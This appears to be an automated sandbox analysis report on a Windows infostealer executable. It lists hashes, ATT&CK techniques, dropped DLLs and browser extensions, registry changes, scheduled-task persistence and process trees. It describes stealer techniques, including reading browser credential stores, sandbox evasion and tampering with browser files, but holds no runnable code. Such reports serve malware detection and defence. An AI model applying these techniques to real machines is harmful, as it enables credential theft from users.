2150c6d508e940cc0f6b8a56c2cb6d885ae778577e35bf360f83022423a664f5

Analysis

max time kernel
148s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
01-07-2024 05:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2150c6d508e940cc0f6b8a56c2cb6d885ae778577e35bf360f83022423a664f5.exe
Size

7.3MB
MD5

1a64cf0f414504536ce7d4c9b3e74548
SHA1

a06f2878ea572f5874b13ad80496cb4a3afaf493
SHA256

2150c6d508e940cc0f6b8a56c2cb6d885ae778577e35bf360f83022423a664f5
SHA512

06132328828a8c99d7a97984b1d41ad577831a931b6d6c841a89aa1560520057bb51d3909c107df3731b0a37527011e9eb736f1a7021abddcd76e4b6c9c8a8d5
SSDEEP

196608:91O7TJTwokWFEqg3dZmaktYppaXozYL0uK8f:3O7TJVkWFgXktYpmQ8T

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

32 2468 rundll32.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.EXEpowershell.exepowershell.exe

pid process

96 powershell.EXE
2700 powershell.exe
2284 powershell.exe

flow	pid	process
32	2468	rundll32.exe

pid	process
96	powershell.EXE
2700	powershell.exe
2284	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

UXTuNmj.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Control Panel\International\Geo\Nation UXTuNmj.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeInstall.exeUXTuNmj.exe

pid process

2564 Install.exe
3840 Install.exe
4908 Install.exe
3376 UXTuNmj.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

2468 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Control Panel\International\Geo\Nation	UXTuNmj.exe

pid	process
2564	Install.exe
3840	Install.exe
4908	Install.exe
3376	UXTuNmj.exe

pid	process
2468	rundll32.exe

Drops Chrome extension 2 IoCs

Processes:

UXTuNmj.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	UXTuNmj.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	UXTuNmj.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

Install.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini Install.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Drops file in System32 directory 33 IoCs

Processes:

UXTuNmj.exerundll32.exepowershell.exeInstall.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	UXTuNmj.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	rundll32.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	UXTuNmj.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	UXTuNmj.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	UXTuNmj.exe

Drops file in Program Files directory 14 IoCs

Processes:

UXTuNmj.exe

description	ioc	process
File created	C:\Program Files (x86)\LXFcSqNRPdfiC\fXBxGZK.dll	UXTuNmj.exe
File created	C:\Program Files (x86)\LXFcSqNRPdfiC\CASGFRj.xml	UXTuNmj.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	UXTuNmj.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	UXTuNmj.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	UXTuNmj.exe
File created	C:\Program Files (x86)\dqJSprjCYNjU2\xnieunemRsdiA.dll	UXTuNmj.exe
File created	C:\Program Files (x86)\JoukbHKXhnJgygRymeR\fuAcEmE.dll	UXTuNmj.exe
File created	C:\Program Files (x86)\DLOGhsaIU\nenmsi.dll	UXTuNmj.exe
File created	C:\Program Files (x86)\bmRmotOcEZUn\ixSQZRR.dll	UXTuNmj.exe
File created	C:\Program Files (x86)\DLOGhsaIU\mOePIRp.xml	UXTuNmj.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	UXTuNmj.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	UXTuNmj.exe
File created	C:\Program Files (x86)\dqJSprjCYNjU2\tBExXQK.xml	UXTuNmj.exe
File created	C:\Program Files (x86)\JoukbHKXhnJgygRymeR\aNVALvm.xml	UXTuNmj.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\QGKRfysOUInPGCvKQ.job	schtasks.exe
File created	C:\Windows\Tasks\WIDyJrOtfliIWWA.job	schtasks.exe
File created	C:\Windows\Tasks\xOqIMlfoTdTUPfGRn.job	schtasks.exe
File created	C:\Windows\Tasks\bkulktKnsMWheyTcHH.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

4748 4908 WerFault.exe Install.exe
4924 3840 WerFault.exe Install.exe
2364 3376 WerFault.exe UXTuNmj.exe

pid	pid_target	process	target process
4748	4908	WerFault.exe	Install.exe
4924	3840	WerFault.exe	Install.exe
2364	3376	WerFault.exe	UXTuNmj.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exerundll32.exeInstall.exeUXTuNmj.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38ff9706-0000-0000-0000-d01200000000}	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	UXTuNmj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	UXTuNmj.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2740 schtasks.exe
3804 schtasks.exe
2460 schtasks.exe
1028 schtasks.exe
1388 schtasks.exe
2740 schtasks.exe
5064 schtasks.exe
1276 schtasks.exe
4352 schtasks.exe
808 schtasks.exe

pid	process
2740	schtasks.exe
3804	schtasks.exe
2460	schtasks.exe
1028	schtasks.exe
1388	schtasks.exe
2740	schtasks.exe
5064	schtasks.exe
1276	schtasks.exe
4352	schtasks.exe
808	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEUXTuNmj.exepowershell.exe

pid	process
2284	powershell.exe
2284	powershell.exe
2284	powershell.exe
588	powershell.exe
588	powershell.exe
588	powershell.exe
2384	powershell.exe
2384	powershell.exe
2384	powershell.exe
96	powershell.EXE
96	powershell.EXE
96	powershell.EXE
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
2700	powershell.exe
2700	powershell.exe
2700	powershell.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe
3376	UXTuNmj.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeWMIC.exepowershell.exepowershell.exepowershell.EXEpowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeIncreaseQuotaPrivilege	1472	WMIC.exe
Token: SeSecurityPrivilege	1472	WMIC.exe
Token: SeTakeOwnershipPrivilege	1472	WMIC.exe
Token: SeLoadDriverPrivilege	1472	WMIC.exe
Token: SeSystemProfilePrivilege	1472	WMIC.exe
Token: SeSystemtimePrivilege	1472	WMIC.exe
Token: SeProfSingleProcessPrivilege	1472	WMIC.exe
Token: SeIncBasePriorityPrivilege	1472	WMIC.exe
Token: SeCreatePagefilePrivilege	1472	WMIC.exe
Token: SeBackupPrivilege	1472	WMIC.exe
Token: SeRestorePrivilege	1472	WMIC.exe
Token: SeShutdownPrivilege	1472	WMIC.exe
Token: SeDebugPrivilege	1472	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1472	WMIC.exe
Token: SeRemoteShutdownPrivilege	1472	WMIC.exe
Token: SeUndockPrivilege	1472	WMIC.exe
Token: SeManageVolumePrivilege	1472	WMIC.exe
Token: 33	1472	WMIC.exe
Token: 34	1472	WMIC.exe
Token: 35	1472	WMIC.exe
Token: 36	1472	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1472	WMIC.exe
Token: SeSecurityPrivilege	1472	WMIC.exe
Token: SeTakeOwnershipPrivilege	1472	WMIC.exe
Token: SeLoadDriverPrivilege	1472	WMIC.exe
Token: SeSystemProfilePrivilege	1472	WMIC.exe
Token: SeSystemtimePrivilege	1472	WMIC.exe
Token: SeProfSingleProcessPrivilege	1472	WMIC.exe
Token: SeIncBasePriorityPrivilege	1472	WMIC.exe
Token: SeCreatePagefilePrivilege	1472	WMIC.exe
Token: SeBackupPrivilege	1472	WMIC.exe
Token: SeRestorePrivilege	1472	WMIC.exe
Token: SeShutdownPrivilege	1472	WMIC.exe
Token: SeDebugPrivilege	1472	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1472	WMIC.exe
Token: SeRemoteShutdownPrivilege	1472	WMIC.exe
Token: SeUndockPrivilege	1472	WMIC.exe
Token: SeManageVolumePrivilege	1472	WMIC.exe
Token: 33	1472	WMIC.exe
Token: 34	1472	WMIC.exe
Token: 35	1472	WMIC.exe
Token: 36	1472	WMIC.exe
Token: SeDebugPrivilege	588	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	96	powershell.EXE
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2752	WMIC.exe
Token: SeSecurityPrivilege	2752	WMIC.exe
Token: SeTakeOwnershipPrivilege	2752	WMIC.exe
Token: SeLoadDriverPrivilege	2752	WMIC.exe
Token: SeSystemtimePrivilege	2752	WMIC.exe
Token: SeBackupPrivilege	2752	WMIC.exe
Token: SeRestorePrivilege	2752	WMIC.exe
Token: SeShutdownPrivilege	2752	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2752	WMIC.exe
Token: SeUndockPrivilege	2752	WMIC.exe
Token: SeManageVolumePrivilege	2752	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2752	WMIC.exe
Token: SeSecurityPrivilege	2752	WMIC.exe
Token: SeTakeOwnershipPrivilege	2752	WMIC.exe
Token: SeLoadDriverPrivilege	2752	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2150c6d508e940cc0f6b8a56c2cb6d885ae778577e35bf360f83022423a664f5.exeInstall.exeInstall.exeforfiles.execmd.exepowershell.exeInstall.exepowershell.execmd.exe

description	pid	process	target process
PID 2768 wrote to memory of 2564	2768	2150c6d508e940cc0f6b8a56c2cb6d885ae778577e35bf360f83022423a664f5.exe	Install.exe
PID 2768 wrote to memory of 2564	2768	2150c6d508e940cc0f6b8a56c2cb6d885ae778577e35bf360f83022423a664f5.exe	Install.exe
PID 2768 wrote to memory of 2564	2768	2150c6d508e940cc0f6b8a56c2cb6d885ae778577e35bf360f83022423a664f5.exe	Install.exe
PID 2564 wrote to memory of 3840	2564	Install.exe	Install.exe
PID 2564 wrote to memory of 3840	2564	Install.exe	Install.exe
PID 2564 wrote to memory of 3840	2564	Install.exe	Install.exe
PID 3840 wrote to memory of 8	3840	Install.exe	forfiles.exe
PID 3840 wrote to memory of 8	3840	Install.exe	forfiles.exe
PID 3840 wrote to memory of 8	3840	Install.exe	forfiles.exe
PID 8 wrote to memory of 308	8	forfiles.exe	cmd.exe
PID 8 wrote to memory of 308	8	forfiles.exe	cmd.exe
PID 8 wrote to memory of 308	8	forfiles.exe	cmd.exe
PID 308 wrote to memory of 2284	308	cmd.exe	powershell.exe
PID 308 wrote to memory of 2284	308	cmd.exe	powershell.exe
PID 308 wrote to memory of 2284	308	cmd.exe	powershell.exe
PID 2284 wrote to memory of 1472	2284	powershell.exe	WMIC.exe
PID 2284 wrote to memory of 1472	2284	powershell.exe	WMIC.exe
PID 2284 wrote to memory of 1472	2284	powershell.exe	WMIC.exe
PID 3840 wrote to memory of 1388	3840	Install.exe	schtasks.exe
PID 3840 wrote to memory of 1388	3840	Install.exe	schtasks.exe
PID 3840 wrote to memory of 1388	3840	Install.exe	schtasks.exe
PID 4908 wrote to memory of 588	4908	Install.exe	powershell.exe
PID 4908 wrote to memory of 588	4908	Install.exe	powershell.exe
PID 4908 wrote to memory of 588	4908	Install.exe	powershell.exe
PID 588 wrote to memory of 4988	588	powershell.exe	cmd.exe
PID 588 wrote to memory of 4988	588	powershell.exe	cmd.exe
PID 588 wrote to memory of 4988	588	powershell.exe	cmd.exe
PID 4988 wrote to memory of 2596	4988	cmd.exe	reg.exe
PID 4988 wrote to memory of 2596	4988	cmd.exe	reg.exe
PID 4988 wrote to memory of 2596	4988	cmd.exe	reg.exe
PID 588 wrote to memory of 2572	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2572	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2572	588	powershell.exe	reg.exe
PID 588 wrote to memory of 1132	588	powershell.exe	reg.exe
PID 588 wrote to memory of 1132	588	powershell.exe	reg.exe
PID 588 wrote to memory of 1132	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2044	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2044	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2044	588	powershell.exe	reg.exe
PID 588 wrote to memory of 3400	588	powershell.exe	reg.exe
PID 588 wrote to memory of 3400	588	powershell.exe	reg.exe
PID 588 wrote to memory of 3400	588	powershell.exe	reg.exe
PID 588 wrote to memory of 3008	588	powershell.exe	reg.exe
PID 588 wrote to memory of 3008	588	powershell.exe	reg.exe
PID 588 wrote to memory of 3008	588	powershell.exe	reg.exe
